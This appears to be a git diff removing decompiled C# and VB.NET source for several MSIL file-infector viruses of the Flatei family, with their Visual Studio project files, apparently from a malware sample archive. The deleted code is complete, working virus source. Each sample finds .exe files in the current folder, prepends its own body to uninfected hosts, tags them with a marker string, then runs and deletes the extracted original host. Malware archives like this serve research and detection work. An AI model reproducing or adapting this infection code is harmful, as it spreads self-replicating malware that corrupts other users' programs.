FileStream input = new FileStream(host, FileMode.OpenOrCreate, FileAccess.Read); - BinaryReader binaryReader2 = new BinaryReader((Stream) input); - binaryReader2.BaseStream.Seek(0L, SeekOrigin.Begin); - byte[] buffer2 = new byte[(int) checked ((uint) input.Length)]; - int length = (int) input.Length; - int index2 = 0; - int num2; - for (; length > 0; length -= num2) - { - num2 = binaryReader2.Read(buffer2, index2, length); - if (num2 != 0) - index2 += num2; - else - break; - } - binaryReader2.Close(); - BinaryWriter binaryWriter = new BinaryWriter((Stream) new FileStream(host, FileMode.OpenOrCreate, FileAccess.Write)); - binaryWriter.BaseStream.Seek(0L, SeekOrigin.Begin); - binaryWriter.Write(buffer1); - binaryWriter.Write(buffer2); - binaryWriter.Write("alco"); - binaryWriter.Close(); - } - - public class Win32 - { - [DllImport("shell32.dll", CharSet = CharSet.Auto)] - public static extern int ShellExecute( - int hWnd, - string oper, - string file, - string param, - string dir, - int type); - - [DllImport("user32.dll", CharSet = CharSet.Auto)] - public static extern int MessageBox(int hWnd, string text, string caption, uint type); - } -} diff --git a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.b-1b64100e80d6e3fadd04563da3f8cbe9513f039f1ab26eb0b38b1cfe9c6ff31a/AssemblyInfo.cs b/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.b-1b64100e80d6e3fadd04563da3f8cbe9513f039f1ab26eb0b38b1cfe9c6ff31a/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.b-1b64100e80d6e3fadd04563da3f8cbe9513f039f1ab26eb0b38b1cfe9c6ff31a/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.b-1b64100e80d6e3fadd04563da3f8cbe9513f039f1ab26eb0b38b1cfe9c6ff31a/Virus.Win32.HLLP.Flatei.b.csproj b/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.b-1b64100e80d6e3fadd04563da3f8cbe9513f039f1ab26eb0b38b1cfe9c6ff31a/Virus.Win32.HLLP.Flatei.b.csproj deleted file mode 100644 index f0baf44b..00000000 --- a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.b-1b64100e80d6e3fadd04563da3f8cbe9513f039f1ab26eb0b38b1cfe9c6ff31a/Virus.Win32.HLLP.Flatei.b.csproj +++ /dev/null @@ -1,36 +0,0 @@ - - - - - Debug - AnyCPU - {E5B63C35-2400-4DB9-A7C0-FC6873B97E74} - WinExe - v3589 - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.b-1b64100e80d6e3fadd04563da3f8cbe9513f039f1ab26eb0b38b1cfe9c6ff31a/Virus.Win32.HLLP.Flatei.b.sln b/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.b-1b64100e80d6e3fadd04563da3f8cbe9513f039f1ab26eb0b38b1cfe9c6ff31a/Virus.Win32.HLLP.Flatei.b.sln deleted file mode 100644 index 61f05718..00000000 --- a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.b-1b64100e80d6e3fadd04563da3f8cbe9513f039f1ab26eb0b38b1cfe9c6ff31a/Virus.Win32.HLLP.Flatei.b.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "v3589", "Virus.Win32.HLLP.Flatei.b-1b64100e80d6e3fadd04563da3f8cbe9513f039f1ab26eb0b38b1cfe9c6ff31a.csproj", "{E5B63C35-2400-4DB9-A7C0-FC6873B97E74}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {E5B63C35-2400-4DB9-A7C0-FC6873B97E74}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {E5B63C35-2400-4DB9-A7C0-FC6873B97E74}.Debug|Any CPU.Build.0 = Debug|Any CPU - {E5B63C35-2400-4DB9-A7C0-FC6873B97E74}.Release|Any CPU.ActiveCfg = Release|Any CPU - {E5B63C35-2400-4DB9-A7C0-FC6873B97E74}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.b-1b64100e80d6e3fadd04563da3f8cbe9513f039f1ab26eb0b38b1cfe9c6ff31a/v3589_.cs b/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.b-1b64100e80d6e3fadd04563da3f8cbe9513f039f1ab26eb0b38b1cfe9c6ff31a/v3589_.cs deleted file mode 100644 index a724c0b9..00000000 --- a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.b-1b64100e80d6e3fadd04563da3f8cbe9513f039f1ab26eb0b38b1cfe9c6ff31a/v3589_.cs +++ /dev/null @@ -1,127 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: v3589_ -// Assembly: v3589, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: EC1B656C-A014-4EA6-B139-295C282840AB -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.HLLP.Flatei.b-1b64100e80d6e3fadd04563da3f8cbe9513f039f1ab26eb0b38b1cfe9c6ff31a.exe - -using System.IO; -using System.Reflection; -using System.Runtime.InteropServices; - -internal class v3589_ -{ - public static void Main(string[] args) - { - Module module = Assembly.GetExecutingAssembly().GetModules()[0]; - foreach (string file in Directory.GetFiles(Directory.GetCurrentDirectory(), "*.exe")) - { - FileStream fileStream = new FileStream(file, FileMode.OpenOrCreate, FileAccess.Read); - StreamReader streamReader = new StreamReader((Stream) fileStream); - int offset = (int) fileStream.Length - 4; - streamReader.BaseStream.Seek((long) offset, SeekOrigin.Begin); - string str1 = streamReader.ReadLine(); - streamReader.Close(); - string str2 = "paul"; - if (!(str1 == str2)) - { - if (!(file == module.FullyQualifiedName)) - { - try - { - v3589_.infest(file); - break; - } - catch - { - } - } - } - } - FileStream input = new FileStream(module.FullyQualifiedName, FileMode.OpenOrCreate, FileAccess.Read); - BinaryReader binaryReader = new BinaryReader((Stream) input); - int length = (int) input.Length - 3584; - binaryReader.BaseStream.Seek(3584L, SeekOrigin.Begin); - byte[] buffer = new byte[(int) checked ((uint) length)]; - int count = length; - int index = 0; - int num; - for (; count > 0; count -= num) - { - num = binaryReader.Read(buffer, index, count); - if (num != 0) - index += num; - else - break; - } - binaryReader.Close(); - BinaryWriter binaryWriter = new BinaryWriter((Stream) new FileStream("alcopaul.exe", FileMode.OpenOrCreate, FileAccess.Write)); - binaryWriter.BaseStream.Seek(0L, SeekOrigin.Begin); - binaryWriter.Write(buffer); - binaryWriter.Close(); - v3589_.Win32.ShellExecute(0, (string) null, "alcopaul.exe", (string) null, Directory.GetCurrentDirectory(), 1); - do - { - try - { - File.Delete("alcopaul.exe"); - } - catch - { - } - } - while (File.Exists("alcopaul.exe")); - } - - public static void infest(string host) - { - BinaryReader binaryReader1 = new BinaryReader((Stream) new FileStream(Assembly.GetExecutingAssembly().GetModules()[0].FullyQualifiedName, FileMode.OpenOrCreate, FileAccess.Read)); - binaryReader1.BaseStream.Seek(0L, SeekOrigin.Begin); - byte[] buffer1 = new byte[3584]; - int count = 3584; - int index1 = 0; - int num1; - for (; count > 0; count -= num1) - { - num1 = binaryReader1.Read(buffer1, index1, count); - if (num1 != 0) - index1 += num1; - else - break; - } - binaryReader1.Close(); - FileStream input = new FileStream(host, FileMode.OpenOrCreate, FileAccess.Read); - BinaryReader binaryReader2 = new BinaryReader((Stream) input); - binaryReader2.BaseStream.Seek(0L, SeekOrigin.Begin); - byte[] buffer2 = new byte[(int) checked ((uint) input.Length)]; - int length = (int) input.Length; - int index2 = 0; - int num2; - for (; length > 0; length -= num2) - { - num2 = binaryReader2.Read(buffer2, index2, length); - if (num2 != 0) - index2 += num2; - else - break; - } - binaryReader2.Close(); - BinaryWriter binaryWriter = new BinaryWriter((Stream) new FileStream(host, FileMode.OpenOrCreate, FileAccess.Write)); - binaryWriter.BaseStream.Seek(0L, SeekOrigin.Begin); - binaryWriter.Write(buffer1); - binaryWriter.Write(buffer2); - binaryWriter.Write("paul"); - binaryWriter.Close(); - } - - public class Win32 - { - [DllImport("shell32.dll", CharSet = CharSet.Auto)] - public static extern int ShellExecute( - int hWnd, - string oper, - string file, - string param, - string dir, - int type); - } -} diff --git a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.c-b63749db4df2ea895efddc0b6cf18c433d41cd1ebcdb91a237c24d3180ecbe3e/AssemblyInfo.cs b/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.c-b63749db4df2ea895efddc0b6cf18c433d41cd1ebcdb91a237c24d3180ecbe3e/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.c-b63749db4df2ea895efddc0b6cf18c433d41cd1ebcdb91a237c24d3180ecbe3e/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.c-b63749db4df2ea895efddc0b6cf18c433d41cd1ebcdb91a237c24d3180ecbe3e/Virus.Win32.HLLP.Flatei.c.csproj b/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.c-b63749db4df2ea895efddc0b6cf18c433d41cd1ebcdb91a237c24d3180ecbe3e/Virus.Win32.HLLP.Flatei.c.csproj deleted file mode 100644 index 7c9c0c5b..00000000 --- a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.c-b63749db4df2ea895efddc0b6cf18c433d41cd1ebcdb91a237c24d3180ecbe3e/Virus.Win32.HLLP.Flatei.c.csproj +++ /dev/null @@ -1,39 +0,0 @@ - - - - - Debug - AnyCPU - {E30EA5C8-8024-49FD-A82E-B6ED6E8144D0} - WinExe - virus - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.c-b63749db4df2ea895efddc0b6cf18c433d41cd1ebcdb91a237c24d3180ecbe3e/Virus.Win32.HLLP.Flatei.c.sln b/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.c-b63749db4df2ea895efddc0b6cf18c433d41cd1ebcdb91a237c24d3180ecbe3e/Virus.Win32.HLLP.Flatei.c.sln deleted file mode 100644 index d2ab18a6..00000000 --- a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.c-b63749db4df2ea895efddc0b6cf18c433d41cd1ebcdb91a237c24d3180ecbe3e/Virus.Win32.HLLP.Flatei.c.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "virus", "Virus.Win32.HLLP.Flatei.c-b63749db4df2ea895efddc0b6cf18c433d41cd1ebcdb91a237c24d3180ecbe3e.csproj", "{E30EA5C8-8024-49FD-A82E-B6ED6E8144D0}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {E30EA5C8-8024-49FD-A82E-B6ED6E8144D0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {E30EA5C8-8024-49FD-A82E-B6ED6E8144D0}.Debug|Any CPU.Build.0 = Debug|Any CPU - {E30EA5C8-8024-49FD-A82E-B6ED6E8144D0}.Release|Any CPU.ActiveCfg = Release|Any CPU - {E30EA5C8-8024-49FD-A82E-B6ED6E8144D0}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.c-b63749db4df2ea895efddc0b6cf18c433d41cd1ebcdb91a237c24d3180ecbe3e/Virus.cs b/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.c-b63749db4df2ea895efddc0b6cf18c433d41cd1ebcdb91a237c24d3180ecbe3e/Virus.cs deleted file mode 100644 index c3829b15..00000000 --- a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.c-b63749db4df2ea895efddc0b6cf18c433d41cd1ebcdb91a237c24d3180ecbe3e/Virus.cs +++ /dev/null @@ -1,166 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Virus -// Assembly: virus, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5C23CEDA-82AF-4A34-8310-1705E25611AB -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.HLLP.Flatei.c-b63749db4df2ea895efddc0b6cf18c433d41cd1ebcdb91a237c24d3180ecbe3e.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.Helpers; -using System; -using System.IO; -using System.Reflection; - -[Globals.StandardModule] -internal sealed class Virus -{ - [STAThread] - public static void Main() - { - Module module = Assembly.GetExecutingAssembly().GetModules()[0]; - string Expression; - for (string str = FileSystem.Dir(FileSystem.CurDir() + "\\*.exe"); StringType.StrCmp(str, "", false) != 0; str = FileSystem.Dir()) - Expression = Expression + str + "/"; - foreach (object obj in (Array) Strings.Split(Expression, "/")) - { - string str1 = StringType.FromObject(obj); - if (StringType.StrCmp(Strings.LCase(str1), Strings.LCase(module.Name), false) != 0) - { - if (StringType.StrCmp(str1, "", false) == 0) - { - int num = (int) Interaction.MsgBox((object) "the first VB.NET virus", Title: ((object) "W32.HLLP.VeeBeeP by alcopaul")); - Interaction.Beep(); - break; - } - BinaryReader binaryReader = new BinaryReader((Stream) new FileStream(str1, FileMode.Open, FileAccess.Read)); - binaryReader.BaseStream.Seek(0L, SeekOrigin.Begin); - byte[] buffer = new byte[85]; - int count = 84; - int index = 0; - while (count > 0) - { - int num = binaryReader.Read(buffer, index, count); - if (num != 0) - { - checked { index += num; } - checked { count -= num; } - } - else - break; - } - binaryReader.Close(); - FileSystem.FileOpen(1, "sig.txt", OpenMode.Binary); - FileSystem.FilePut(1, (Array) buffer, -1, false, false); - FileSystem.FileClose(1); - FileSystem.FileOpen(1, "sig.txt", OpenMode.Input); - string str2 = FileSystem.LineInput(1); - FileSystem.FileClose(1); - FileSystem.Kill("sig.txt"); - if (StringType.StrCmp(Strings.LCase(Strings.Mid(Strings.Right(str2, 7), 1, checked (Strings.Len(Strings.Right(str2, 7)) - 1))), "alcovb", false) != 0) - { - try - { - Virus.infect(str1); - break; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - } - try - { - object input = (object) new FileStream(module.FullyQualifiedName, FileMode.Open, FileAccess.Read); - BinaryReader binaryReader = new BinaryReader((Stream) input); - int num1 = IntegerType.FromObject(ObjectType.SubObj(LateBinding.LateGetNoByRef(input, (Type) null, "Length", new object[0], (string[]) null), (object) 6145)); - binaryReader.BaseStream.Seek(6145L, SeekOrigin.Begin); - byte[] buffer = new byte[checked (num1 + 1)]; - int count = num1; - int index = 0; - while (count > 0) - { - int num2 = binaryReader.Read(buffer, index, count); - if (num2 != 0) - { - checked { index += num2; } - checked { count -= num2; } - } - else - break; - } - binaryReader.Close(); - FileSystem.FileOpen(1, "vbnet.exe", OpenMode.Binary); - FileSystem.FilePut(1, (Array) buffer, -1, false, false); - FileSystem.FileClose(1); - Interaction.Shell("vbnet.exe " + Interaction.Command(), AppWinStyle.NormalFocus); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - int num = (int) Interaction.MsgBox((object) "first generation"); - ProjectData.ClearProjectError(); - } - do - { - try - { - File.Delete("vbnet.exe"); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - while (File.Exists("vbnet.exe")); - } - - public static object infect(string fff) - { - BinaryReader binaryReader1 = new BinaryReader((Stream) new FileStream(Assembly.GetExecutingAssembly().GetModules()[0].FullyQualifiedName, FileMode.Open, FileAccess.Read)); - binaryReader1.BaseStream.Seek(0L, SeekOrigin.Begin); - byte[] buffer1 = new byte[6145]; - int count1 = 6144; - int index1 = 0; - while (count1 > 0) - { - int num = binaryReader1.Read(buffer1, index1, count1); - if (num != 0) - { - checked { index1 += num; } - checked { count1 -= num; } - } - else - break; - } - binaryReader1.Close(); - object input = (object) new FileStream(fff, FileMode.Open, FileAccess.Read); - BinaryReader binaryReader2 = new BinaryReader((Stream) input); - long num1 = LongType.FromObject(LateBinding.LateGetNoByRef(input, (Type) null, "Length", new object[0], (string[]) null)); - binaryReader2.BaseStream.Seek(0L, SeekOrigin.Begin); - byte[] buffer2 = new byte[checked ((int) num1 + 1)]; - int count2 = IntegerType.FromObject(LateBinding.LateGetNoByRef(input, (Type) null, "Length", new object[0], (string[]) null)); - int index2 = 0; - while (count2 > 0) - { - int num2 = binaryReader2.Read(buffer2, index2, count2); - if (num2 != 0) - { - checked { index2 += num2; } - checked { count2 -= num2; } - } - else - break; - } - binaryReader2.Close(); - FileSystem.FileOpen(1, fff, OpenMode.Binary); - FileSystem.FilePut(1, (Array) buffer1, -1, false, false); - FileSystem.FilePut(1, (Array) buffer2, -1, false, false); - FileSystem.FilePut(1, "alcovb", -1, false); - FileSystem.FileClose(1); - object obj; - return obj; - } -} diff --git a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.d-530621cdc88ae9ee0fcdea85f02fdf94885c1884f085b4dc62ccea10a89aa4d9/AssemblyInfo.cs b/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.d-530621cdc88ae9ee0fcdea85f02fdf94885c1884f085b4dc62ccea10a89aa4d9/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.d-530621cdc88ae9ee0fcdea85f02fdf94885c1884f085b4dc62ccea10a89aa4d9/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.d-530621cdc88ae9ee0fcdea85f02fdf94885c1884f085b4dc62ccea10a89aa4d9/Virus.Win32.HLLP.Flatei.d.csproj b/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.d-530621cdc88ae9ee0fcdea85f02fdf94885c1884f085b4dc62ccea10a89aa4d9/Virus.Win32.HLLP.Flatei.d.csproj deleted file mode 100644 index 43a37757..00000000 --- a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.d-530621cdc88ae9ee0fcdea85f02fdf94885c1884f085b4dc62ccea10a89aa4d9/Virus.Win32.HLLP.Flatei.d.csproj +++ /dev/null @@ -1,36 +0,0 @@ - - - - - Debug - AnyCPU - {DF1CC23E-B74A-475A-B8FD-BA74EEC453D8} - WinExe - syra.b - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.d-530621cdc88ae9ee0fcdea85f02fdf94885c1884f085b4dc62ccea10a89aa4d9/Virus.Win32.HLLP.Flatei.d.sln b/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.d-530621cdc88ae9ee0fcdea85f02fdf94885c1884f085b4dc62ccea10a89aa4d9/Virus.Win32.HLLP.Flatei.d.sln deleted file mode 100644 index a30005cb..00000000 --- a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.d-530621cdc88ae9ee0fcdea85f02fdf94885c1884f085b4dc62ccea10a89aa4d9/Virus.Win32.HLLP.Flatei.d.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "syra.b", "Virus.Win32.HLLP.Flatei.d-530621cdc88ae9ee0fcdea85f02fdf94885c1884f085b4dc62ccea10a89aa4d9.csproj", "{DF1CC23E-B74A-475A-B8FD-BA74EEC453D8}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {DF1CC23E-B74A-475A-B8FD-BA74EEC453D8}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {DF1CC23E-B74A-475A-B8FD-BA74EEC453D8}.Debug|Any CPU.Build.0 = Debug|Any CPU - {DF1CC23E-B74A-475A-B8FD-BA74EEC453D8}.Release|Any CPU.ActiveCfg = Release|Any CPU - {DF1CC23E-B74A-475A-B8FD-BA74EEC453D8}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.d-530621cdc88ae9ee0fcdea85f02fdf94885c1884f085b4dc62ccea10a89aa4d9/msil_syra_by_alcopaul.cs b/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.d-530621cdc88ae9ee0fcdea85f02fdf94885c1884f085b4dc62ccea10a89aa4d9/msil_syra_by_alcopaul.cs deleted file mode 100644 index d0e0b87f..00000000 --- a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.d-530621cdc88ae9ee0fcdea85f02fdf94885c1884f085b4dc62ccea10a89aa4d9/msil_syra_by_alcopaul.cs +++ /dev/null @@ -1,138 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: msil_syra_by_alcopaul -// Assembly: syra.b, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 9CFE773D-27F0-436F-8F51-313FF31C4F0C -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.HLLP.Flatei.d-530621cdc88ae9ee0fcdea85f02fdf94885c1884f085b4dc62ccea10a89aa4d9.exe - -using System.IO; -using System.Reflection; -using System.Runtime.InteropServices; - -internal class msil_syra_by_alcopaul -{ - public static void Main(string[] args) - { - Module module = Assembly.GetExecutingAssembly().GetModules()[0]; - foreach (string file in Directory.GetFiles(Directory.GetCurrentDirectory(), "*.exe")) - { - try - { - AssemblyName.GetAssemblyName(file); - FileStream fileStream = new FileStream(file, FileMode.OpenOrCreate, FileAccess.Read); - StreamReader streamReader = new StreamReader((Stream) fileStream); - int offset = (int) fileStream.Length - 4; - streamReader.BaseStream.Seek((long) offset, SeekOrigin.Begin); - string str1 = streamReader.ReadLine(); - streamReader.Close(); - string str2 = "alco"; - if (!(str1 == str2)) - { - if (!(file == module.FullyQualifiedName)) - { - try - { - msil_syra_by_alcopaul.Infect(file); - break; - } - catch - { - } - } - } - } - catch - { - } - } - FileStream input = new FileStream(module.FullyQualifiedName, FileMode.OpenOrCreate, FileAccess.Read); - BinaryReader binaryReader = new BinaryReader((Stream) input); - int length = (int) input.Length - 5120; - binaryReader.BaseStream.Seek(5120L, SeekOrigin.Begin); - byte[] buffer = new byte[(int) checked ((uint) length)]; - int count = length; - int index = 0; - int num; - for (; count > 0; count -= num) - { - num = binaryReader.Read(buffer, index, count); - if (num != 0) - index += num; - else - break; - } - binaryReader.Close(); - BinaryWriter binaryWriter = new BinaryWriter((Stream) new FileStream("_U-.exe", FileMode.OpenOrCreate, FileAccess.Write)); - binaryWriter.BaseStream.Seek(0L, SeekOrigin.Begin); - binaryWriter.Write(buffer); - binaryWriter.Close(); - msil_syra_by_alcopaul.Win32.ShellExecute(0, (string) null, "_U-.exe", (string) null, Directory.GetCurrentDirectory(), 1); - do - { - try - { - File.Delete("_U-.exe"); - } - catch - { - } - } - while (File.Exists("_U-.exe")); - msil_syra_by_alcopaul.Win32.MessageBox(0, "::: now infecting dotnet files only :P :::", "msil.syra.b by alcopaul", 0U); - } - - public static void Infect(string host) - { - BinaryReader binaryReader1 = new BinaryReader((Stream) new FileStream(Assembly.GetExecutingAssembly().GetModules()[0].FullyQualifiedName, FileMode.OpenOrCreate, FileAccess.Read)); - binaryReader1.BaseStream.Seek(0L, SeekOrigin.Begin); - byte[] buffer1 = new byte[5120]; - int count = 5120; - int index1 = 0; - int num1; - for (; count > 0; count -= num1) - { - num1 = binaryReader1.Read(buffer1, index1, count); - if (num1 != 0) - index1 += num1; - else - break; - } - binaryReader1.Close(); - FileStream input = new FileStream(host, FileMode.OpenOrCreate, FileAccess.Read); - BinaryReader binaryReader2 = new BinaryReader((Stream) input); - binaryReader2.BaseStream.Seek(0L, SeekOrigin.Begin); - byte[] buffer2 = new byte[(int) checked ((uint) input.Length)]; - int length = (int) input.Length; - int index2 = 0; - int num2; - for (; length > 0; length -= num2) - { - num2 = binaryReader2.Read(buffer2, index2, length); - if (num2 != 0) - index2 += num2; - else - break; - } - binaryReader2.Close(); - BinaryWriter binaryWriter = new BinaryWriter((Stream) new FileStream(host, FileMode.OpenOrCreate, FileAccess.Write)); - binaryWriter.BaseStream.Seek(0L, SeekOrigin.Begin); - binaryWriter.Write(buffer1); - binaryWriter.Write(buffer2); - binaryWriter.Write("alco"); - binaryWriter.Close(); - } - - public class Win32 - { - [DllImport("shell32.dll", CharSet = CharSet.Auto)] - public static extern int ShellExecute( - int hWnd, - string oper, - string file, - string param, - string dir, - int type); - - [DllImport("user32.dll", CharSet = CharSet.Auto)] - public static extern int MessageBox(int hWnd, string text, string caption, uint type); - } -} diff --git a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.f-b13d9fb226c2ebac8fd101849be5e5cc0b190df469720bf55f3a3163505550aa/AssemblyInfo.cs b/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.f-b13d9fb226c2ebac8fd101849be5e5cc0b190df469720bf55f3a3163505550aa/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.f-b13d9fb226c2ebac8fd101849be5e5cc0b190df469720bf55f3a3163505550aa/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.f-b13d9fb226c2ebac8fd101849be5e5cc0b190df469720bf55f3a3163505550aa/Virus.Win32.HLLP.Flatei.f.csproj b/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.f-b13d9fb226c2ebac8fd101849be5e5cc0b190df469720bf55f3a3163505550aa/Virus.Win32.HLLP.Flatei.f.csproj deleted file mode 100644 index 85e7a382..00000000 --- a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.f-b13d9fb226c2ebac8fd101849be5e5cc0b190df469720bf55f3a3163505550aa/Virus.Win32.HLLP.Flatei.f.csproj +++ /dev/null @@ -1,36 +0,0 @@ - - - - - Debug - AnyCPU - {C8EE663A-A764-4BB0-9359-2432FE32142E} - WinExe - syrac - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.f-b13d9fb226c2ebac8fd101849be5e5cc0b190df469720bf55f3a3163505550aa/Virus.Win32.HLLP.Flatei.f.sln b/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.f-b13d9fb226c2ebac8fd101849be5e5cc0b190df469720bf55f3a3163505550aa/Virus.Win32.HLLP.Flatei.f.sln deleted file mode 100644 index c31bf7a5..00000000 --- a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.f-b13d9fb226c2ebac8fd101849be5e5cc0b190df469720bf55f3a3163505550aa/Virus.Win32.HLLP.Flatei.f.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "syrac", "Virus.Win32.HLLP.Flatei.f-b13d9fb226c2ebac8fd101849be5e5cc0b190df469720bf55f3a3163505550aa.csproj", "{C8EE663A-A764-4BB0-9359-2432FE32142E}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {C8EE663A-A764-4BB0-9359-2432FE32142E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {C8EE663A-A764-4BB0-9359-2432FE32142E}.Debug|Any CPU.Build.0 = Debug|Any CPU - {C8EE663A-A764-4BB0-9359-2432FE32142E}.Release|Any 